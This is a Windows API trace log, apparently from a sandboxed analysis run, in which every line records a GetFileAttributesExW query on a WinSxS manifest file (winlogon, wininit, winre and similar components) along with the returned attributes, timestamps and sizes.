	[0106.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsupdateclient-ui_31bf3856ad364e35_7.5.7601.17514_none_9ce1375a66515376.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsupdateclient-ui_31bf3856ad364e35_7.5.7601.17514_none_9ce1375a66515376.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ea58 | out: lpFileInformation=0x12a2ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1f38cb, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8e1f38cb, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8e23fb8c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x2bc9)) returned 1
	[0106.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsupdateclient_31bf3856ad364e35_7.5.7601.17514_none_398940d077b76107.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsupdateclient_31bf3856ad364e35_7.5.7601.17514_none_398940d077b76107.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2eaa8 | out: lpFileInformation=0x12a2eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60c88313, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x60c88313, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x60d92cb5, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1
	[0106.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winhstb.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2e4fc947478f164b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winhstb.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2e4fc947478f164b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2eaf8 | out: lpFileInformation=0x12a2eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1aafbfa, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf1aafbfa, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x373)) returned 1
	[0106.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winhstb_31bf3856ad364e35_6.1.7600.16385_none_84fb00002317d878.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winhstb_31bf3856ad364e35_6.1.7600.16385_none_84fb00002317d878.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2eb48 | out: lpFileInformation=0x12a2eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85e696f3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x945bdf8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x662d307e, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1
	[0106.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininethelperclass_31bf3856ad364e35_6.1.7600.16385_none_8124dc1852de3883.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininethelperclass_31bf3856ad364e35_6.1.7600.16385_none_8124dc1852de3883.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2eb98 | out: lpFileInformation=0x12a2eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b41a833, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xba34560, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xae7d97d0, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb)) returned 1
	[0106.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininit-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bfd4501165b6d6c1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininit-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bfd4501165b6d6c1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ebe8 | out: lpFileInformation=0x12a2ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd700ab1, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd700ab1, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x993)) returned 1
	[0106.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininit-adm_31bf3856ad364e35_6.1.7600.16385_none_39e57782614561ee.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininit-adm_31bf3856ad364e35_6.1.7600.16385_none_39e57782614561ee.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ec38 | out: lpFileInformation=0x12a2ec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7934d4fd, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dd8540c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x7937365a, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xac1)) returned 1
	[0106.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininit-events_31bf3856ad364e35_6.1.7600.16385_none_d9acdec596080bdd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininit-events_31bf3856ad364e35_6.1.7600.16385_none_d9acdec596080bdd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ec88 | out: lpFileInformation=0x12a2ec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd5c5c0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7cd5c5c0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7db5caf5, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x1fe6)) returned 1
	[0106.434] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininit-mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c41d36de6cc0596b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininit-mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c41d36de6cc0596b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ecd8 | out: lpFileInformation=0x12a2ecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf302840a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf302840a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c7)) returned 1
	[0106.434] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininit-mof_31bf3856ad364e35_6.1.7600.16385_none_36d5ce20633a8c3c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininit-mof_31bf3856ad364e35_6.1.7600.16385_none_36d5ce20633a8c3c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ed28 | out: lpFileInformation=0x12a2ed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd5c5c0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc7c3664, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xe1014970, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x8b1)) returned 1
	[0106.434] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a15a826d24384c4e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a15a826d24384c4e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ed78 | out: lpFileInformation=0x12a2ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d446f0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf0d446f0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x953)) returned 1
	[0106.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wininit_31bf3856ad364e35_6.1.7600.16385_none_8ce7aa761e01ad49.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wininit_31bf3856ad364e35_6.1.7600.16385_none_8ce7aa761e01ad49.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2edc8 | out: lpFileInformation=0x12a2edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cda887a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x90c86d8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x9baff62d, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x17a4)) returned 1
	[0106.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f0f9032ef6930070.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f0f9032ef6930070.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ee18 | out: lpFileInformation=0x12a2ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe9ca1bf, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfe9ca1bf, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x996)) returned 1
	[0106.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-adm_31bf3856ad364e35_6.1.7600.16385_none_d7024e6992f3424d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-adm_31bf3856ad364e35_6.1.7600.16385_none_d7024e6992f3424d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ee68 | out: lpFileInformation=0x12a2ee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7bbfad9, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7de6a2a6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa7be5c36, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xac5)) returned 1
	[0106.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-events_31bf3856ad364e35_6.1.7600.16385_none_69321e45a1bbc706.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-events_31bf3856ad364e35_6.1.7600.16385_none_69321e45a1bbc706.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2eeb8 | out: lpFileInformation=0x12a2eeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f7b648, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81f7b648, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x516f4c18, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x6a6b)) returned 1
	[0106.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_84afd4fd38ffd276.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_84afd4fd38ffd276.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ef08 | out: lpFileInformation=0x12a2ef08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a17116, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf1a17116, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8cb)) returned 1
	[0106.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-mof_31bf3856ad364e35_6.1.7600.16385_none_dc2dbb778f98e40f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-mof_31bf3856ad364e35_6.1.7600.16385_none_dc2dbb778f98e40f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ef58 | out: lpFileInformation=0x12a2ef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f7b648, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x109c4fe8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3528ba5b, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x8b6)) returned 1
	[0106.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-sas_31bf3856ad364e35_6.1.7600.16385_none_d56b3f479400a9b0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-sas_31bf3856ad364e35_6.1.7600.16385_none_d56b3f479400a9b0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2efa8 | out: lpFileInformation=0x12a2efa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf866f7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7bf866f7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7644a631, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x801)) returned 1
	[0106.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-sysntfy_31bf3856ad364e35_6.1.7600.16385_none_b167e4c929644bf5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-sysntfy_31bf3856ad364e35_6.1.7600.16385_none_b167e4c929644bf5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2eff8 | out: lpFileInformation=0x12a2eff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf866f7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7bf866f7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xe4c6d0ca, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x170a)) returned 1
	[0106.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon-tools_31bf3856ad364e35_6.1.7600.16385_none_f0686b7ca6acde00.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon-tools_31bf3856ad364e35_6.1.7600.16385_none_f0686b7ca6acde00.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f048 | out: lpFileInformation=0x12a2f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81fa17a5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81fa17a5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x432be0d2, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xbc5)) returned 1
	[0106.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon.resources_31bf3856ad364e35_6.1.7601.17514_en-us_291e96fa1ab5fc7b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon.resources_31bf3856ad364e35_6.1.7601.17514_en-us_291e96fa1ab5fc7b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f098 | out: lpFileInformation=0x12a2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cd1ec5, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf0cd1ec5, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1
	[0106.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winlogon_31bf3856ad364e35_6.1.7601.17514_none_cde90685eb910636.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winlogon_31bf3856ad364e35_6.1.7601.17514_none_cde90685eb910636.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f0e8 | out: lpFileInformation=0x12a2f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6821022c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6821022c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6823638c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f)) returned 1
	[0106.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winocr-deployment_31bf3856ad364e35_6.1.7600.16385_none_24e53409c84942a3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winocr-deployment_31bf3856ad364e35_6.1.7600.16385_none_24e53409c84942a3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f138 | out: lpFileInformation=0x12a2f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb52b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x24617c2c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xdb416, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8b9)) returned 1
	[0106.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winocr-ocrengines_31bf3856ad364e35_6.1.7600.16385_none_ff3a08834cc21b39.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winocr-ocrengines_31bf3856ad364e35_6.1.7600.16385_none_ff3a08834cc21b39.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f188 | out: lpFileInformation=0x12a2f188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f1c149, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x55f1c149, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0x57bd2866, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x10468)) returned 1
	[0106.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winocr-tifffilter-adm_31bf3856ad364e35_6.1.7600.16385_none_51e1fd8a288646da.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winocr-tifffilter-adm_31bf3856ad364e35_6.1.7600.16385_none_51e1fd8a288646da.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f1d8 | out: lpFileInformation=0x12a2f1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dc19260, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x24617c2c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4dc19260, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xad9)) returned 1
	[0106.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winocr-tifffilter_31bf3856ad364e35_6.1.7600.16385_none_8f17e9d40553824d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winocr-tifffilter_31bf3856ad364e35_6.1.7600.16385_none_8f17e9d40553824d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f228 | out: lpFileInformation=0x12a2f228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe55f280a, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x24617c2c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xe5d62c34, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x2525)) returned 1
	[0106.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winre-grouppolicy_31bf3856ad364e35_6.1.7600.16385_none_b3d6d249d258c32e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winre-grouppolicy_31bf3856ad364e35_6.1.7600.16385_none_b3d6d249d258c32e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f278 | out: lpFileInformation=0x12a2f278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbb0dba, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x13c93f24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x7126963f, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xacd)) returned 1
	[0106.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winre-reagentconfig_31bf3856ad364e35_6.1.7600.16385_none_ed71554d52ca0f7d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winre-reagentconfig_31bf3856ad364e35_6.1.7600.16385_none_ed71554d52ca0f7d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f2c8 | out: lpFileInformation=0x12a2f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbb0dba, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8bbb0dba, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6554946f, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x4c2)) returned 1
	[0106.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winre-recoveryagent_31bf3856ad364e35_6.1.7601.17514_none_18f2a35386830449.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winre-recoveryagent_31bf3856ad364e35_6.1.7601.17514_none_18f2a35386830449.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f318 | out: lpFileInformation=0x12a2f318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f0b5ff, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x83f0b5ff, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x83fa3b80, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x10ab)) returned 1
	[0106.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winre-recoverytools_31bf3856ad364e35_6.1.7600.16385_none_3142c61b8ada510f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winre-recoverytools_31bf3856ad364e35_6.1.7600.16385_none_3142c61b8ada510f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f368 | out: lpFileInformation=0x12a2f368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbb0dba, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xf55b53c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd95da6, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xc09)) returned 1
	[0106.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winrs-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9477270ab6cfbbc4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winrs-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9477270ab6cfbbc4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f3b8 | out: lpFileInformation=0x12a2f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe9a3f06, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfe9a3f06, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7)) returned 1
	[0106.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winrs-adm_31bf3856ad364e35_6.1.7600.16385_none_f62168dbefcdab17.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winrs-adm_31bf3856ad364e35_6.1.7600.16385_none_f62168dbefcdab17.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f408 | out: lpFileInformation=0x12a2f408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1140cb81, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7e05a249, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x11432cde, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xad3)) returned 1
	[0106.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winrs_31bf3856ad364e35_6.1.7600.16385_none_bdd3d8a8f53e3ed0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winrs_31bf3856ad364e35_6.1.7600.16385_none_bdd3d8a8f53e3ed0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f458 | out: lpFileInformation=0x12a2f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e15e6f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x155c2350, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x7e12a020, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x321)) returned 1
